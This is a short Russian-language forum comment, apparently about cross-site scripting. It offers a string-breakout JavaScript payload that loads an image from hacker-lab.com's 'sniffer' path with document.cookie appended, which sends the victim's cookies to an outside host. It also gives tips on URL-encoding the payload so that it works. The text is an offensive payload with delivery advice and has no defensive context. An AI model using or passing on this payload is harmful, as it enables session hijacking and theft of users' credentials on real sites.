какая разница? JS все равно, разница в том, что пользователю нужно сделать доп. действие.

такого рода код:

'+((new Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'

не забудьте про URLEncode, плюсы в %2b, пробелы в +